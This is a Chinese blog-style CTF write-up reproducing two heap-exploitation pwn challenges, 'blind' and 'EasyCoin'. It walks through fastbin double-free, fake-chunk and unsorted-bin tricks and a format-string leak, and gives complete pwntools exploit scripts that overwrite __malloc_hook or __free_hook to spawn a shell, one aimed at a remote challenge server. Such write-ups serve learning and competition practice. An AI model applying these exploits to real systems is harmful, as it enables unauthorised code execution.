网鼎杯CTF部分PWN题复现

题目链接 密码: 4qbr

blind

首先是blind题目,感觉我的做法和网上放的WP有点不一样,看网上放的EXP都是通过劫持.bss段上的STDOUT指针然后通过printf函数触发,学习了一波。

题目简介

题目中给出3个功能,new、change、release。

new:可以申请6个堆块,堆块大小固定为0x68(实际分配0x70)大小的堆块,而在向堆块读入时会在读入数据后加\x00。

change: 没有什么特别的操作,只是单纯的根据bss段上的指针数组找到相应的堆块,然后限制写入大小为0x68.

release:可以看到限制了release的次数,而这个变量在bss段上,并且在free以后没有对指针数组置零,形成悬垂指针,从而具有UAF、Double Free漏洞。

漏洞利用

此题利用的难点在于这个程序没有泄露的功能和位置。

程序开启了除PIE的全部保护。

1
2
3
4
5
6
[*] '/home/p4nda/Desktop/pwn/other/blind/blind'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用想法首先是利用Double Free和UAF了,由于程序操作的堆块大小都是0x70的,所以很直观的想法就是劫持0x70这个fastbin链,而对于0x70这个数值很敏感,由于libc内存地址是0x7fxxxxxx,因此可以通过错位构造,将__malloc_hook-0x23这个块被分配,但由于没有libc地址泄露,此方法不可行。然而,在bss段上还有另外的0x7fxxx,就是STDIN、STDOUT、STDERR,

而如果查看x/5gx 0x602045-8作为堆块,就会发现这个堆块大小为0x7f,当在fastbin链上的话,是可以分配的。

而这时,我们就可以对bss段进行写入,造成任意地址写了。但是由于got表不可以改,因此泄露成为一个问题。我想到的思路是让libc地址恰好出现在bss段上ptr[]数组内,这样就可以对libc地址进行任意写了。

又想到,当free时,是不会检查free的大小和位置的,只要任意构造符合要求的堆块大小就可以使其被释放到bin中,而在unsorted bin中的堆块,fd和bk会指向main_arena+88,这样就可以写libc了。

因此通过在bss段上构造一个地址为ptr-0x10,大小为0x100的内存块,然后将其free,就可以使ptr[0],ptr[1]指向main_arena+88了。

可以看到,堆块构造如上图,构造过程中必须保证0x100大小块的下一块标志位为1,并且构造下两块的标志位也为1,否则无法过free的检查。

在free掉该块以后,发现伪造的堆块进入unsorted bin。

当再次编辑时就可以修改bss段了,但是在这时发现一个特点,在这个版本的libc中将mainarena+88的最低位改成\x00,恰好变成\_malloc_hook-0x10。因此找到一个新的想法,题目所用的编辑函数中会在输入的末位写\x00,可以将ptr[4],指向ptr[0],在编辑时,可以将ptr[0]写成__malloc_hook-0x10,这样再次编辑ptr[0]就可以将__malloc_hook改成题目中给的system(“/bin/sh”)函数,从而拿到shell了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8
from pwn import *

debug = 0
elf=ELF('./blind')
ct = string.ascii_letters+string.digits

if debug:
p = process('./blind')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
gdb.attach(p)

else:
p = remote('106.75.20.44', 9999)
libc = ELF('./libc.so.6')
context.log_level = 'debug'


def new(index,content):
p.recvuntil("Choice:")
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil("Content:")
p.send(content)
p.recvuntil("Done")

def change(index,content):
p.recvuntil("Choice:")
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil("Content:")
p.send(content)
p.recvuntil("Done")

def free(index):
p.recvuntil("Choice:")
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

new(0,'p4nda\n')
new(1,'p4nda\n')
free(0)
free(1)
free(0)
new(2,p64(0x602045-8)+'\n')
new(3,'p4nda\n')
new(4,'p4nda\n')
new(5,'a'*3+p64(0x101)*2+p64(0x602060)+p64(0x602060)*2+p64(0)+p64(0x602140)*3+'\n')
change(4,p64(0x21)*12+'\n')

free(0)
change(2,'\n')
change(0,p64(0x4008E3)*3+'\n')
p.recvuntil("Choice:")
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(3))
p.interactive()

EasyCoin

这题是AAA战队的ZUHXS师傅发给我的,也是遇上了一个神奇问题,在给我发的i64文件中switch语句没显示default,我也是懒没看汇编,就漏掉了格式化字符串漏洞 www

言归正传,这题最开始并没有什么想法,只是发现了功能实现上存在问题,可以给用户自身发送coin,然后delete时会存在一个不可控的free。最后根据别人的EXP调出来的,膜做出此题的师傅…

功能分析

题目的功能比较多,首先是注册和登录,注册功能中有这样一个结构体:

其中username、password和结构体本身都是malloc(0x20)得到的0x30的内存块,coin_list这个指针最开始是置空的,后续操作中会用到。

在登录以后程序会维护一个结构体指针,根据这个指针指向的s_user结构体进行操作,共有display_user、send_coin、display_transaction、change_passwd、delete_user、logout操作。

在send_coin中出现了新的结构体s_coin

这个结构体是一个单链表,每一笔交易发生时,会分别向发送者和接受者新建并插入这个结构体,用id来标识交易,in_out标识是收到还是支出。同样的这个s_coin结构体也是也0x30大小的块。

在change_passwd函数中,会向结构体中指向的passwd指针写入数据。

最终delete_user中,会首先释放username、passwd指针,然后变量coin_list的所有coin,并从其他用户的coin_list中移除相应的s_coin并释放。

漏洞利用

在整个程序中,只找到了用户可以向自己发送coin,而在delete时会触发一个释放位置地址的漏洞。

而程序在输入指令时,可以触发一个格式化字符串漏洞,通过格式化字符串漏洞可以泄露libc、堆地址。

此题的难点在于如何利用程序逻辑来对堆块进行UAF。

首先在释放的用户存在一个正常块时,释放后,由于不会对用户的coin_list进行操作,导致该链会指向fastbin链中的已释放部分。若正常逻辑也不会受到影响,但在这个coin_list上存在对自身转账的块时,就会在fastbin上寻找coin去释放,仅需利用fastbin上的脏数据即可释放一个正在用的块。

如图是释放了username、password的fastbin结构

如图是释放了一对正常交易块的堆结构

此时,可以看到该用户s_user指向的coin_list已经与fastbin有交集

而可以看到此处是预留的脏数据,可以使其指向user2->password块

而这个块中的id位置被预置为与当前查找的id相同,当运行到这里就可以使得user2->password被释放。

当delete运行结束后,可以看到fastbin链上存在一个可修改的块

而通过user2的change_passwd功能可以修改这个fastbin块的fd指针,如将其修改到user2本身的控制块结构体

此时被劫持的fastbin结构如下

看到这样的堆结构,可以通过新建一个用户,在设置用户密码时可以覆写user2的控制块,将其password成员指向__free_hook。

此时,由于password的只指向内容为\x00,因此使用\n就可登录,登录后修改密码为system地址。在delete时,

由于username是”/bin/sh”,就相当于调用了system(“/bin/sh”);

至此拿到了shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

debug = 1
elf=ELF('./EasyCoin')

if debug:
p = process('./EasyCoin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
gdb.attach(p,'b *0x401474')

else:
p = remote('106.75.20.44', 9999)
#libc = ELF('./libc.so.6')
context.log_level = 'debug'

def reg(username, password):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.send(username)
p.recvuntil('> ')
p.send(password)
p.recvuntil('> ')
p.send(password)

def login(username, password):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.send(username)
p.recvuntil('> ')
p.send(password)

def display_user():
p.recvuntil('> ')
p.sendline('1')

def send_coin(username, money):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.send(username)
p.recvuntil('> ')
p.sendline(str(money))

def display_transactpn():
p.recvuntil('> ')
p.sendline('3')

def change_password(password):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('> ')
p.send(password)

def delete():
p.recvuntil('> ')
p.sendline('5')

def logout():
p.recvuntil('> ')
p.sendline('6')

reg('p4nda\n','pwn\n')
reg('/bin/sh\n', '\x00'*0x10+'\x02')
login('p4nda\n','pwn\n')
p.recvuntil('> ')
p.send('%9$p')
p.recvuntil('Command: ')
heap_base = int(p.recvuntil('\x7f')[:-2], 16) - 0x10
p.recvuntil('> ')
p.send('%3$p')
p.recvuntil('Command: ')
libc.address = int(p.recvuntil('\x7f')[:-2], 16)- 0xf72c0#- 7 - libc.symbols['__write_nocancel']
print '[*] system:',hex(libc.symbols['system'])
print '[*] heap :',hex(heap_base)
send_coin('/bin/sh\n',0x111)
delete()
reg('p4nda\n','pwn\n')
login('p4nda\n','pwn\n')
send_coin('/bin/sh\n',heap_base+0x100)
send_coin('p4nda\n',0x3333)

delete()
login('/bin/sh',p64(heap_base+0x30))
send_coin('/bin/sh',0x4444)
#gdb.attach(p,'b *0x400b0f')
change_password(p64(heap_base+0xa0-0x10))
logout()
reg("i_am_padding\n",p64(heap_base+0xd0)+p64(libc.symbols['__free_hook'])+p64(0xdeadbeef)+p64(0)[:-1])
login('/bin/sh','\n')
change_password(p64(libc.symbols['system'])+'\n')
delete()

p.interactive()
文章目录
  1. 1. blind
    1. 1.1. 题目简介
    2. 1.2. 漏洞利用
    3. 1.3. EXP
  2. 2. EasyCoin
    1. 2.1. 功能分析
    2. 2.2. 漏洞利用
    3. 2.3. EXP
|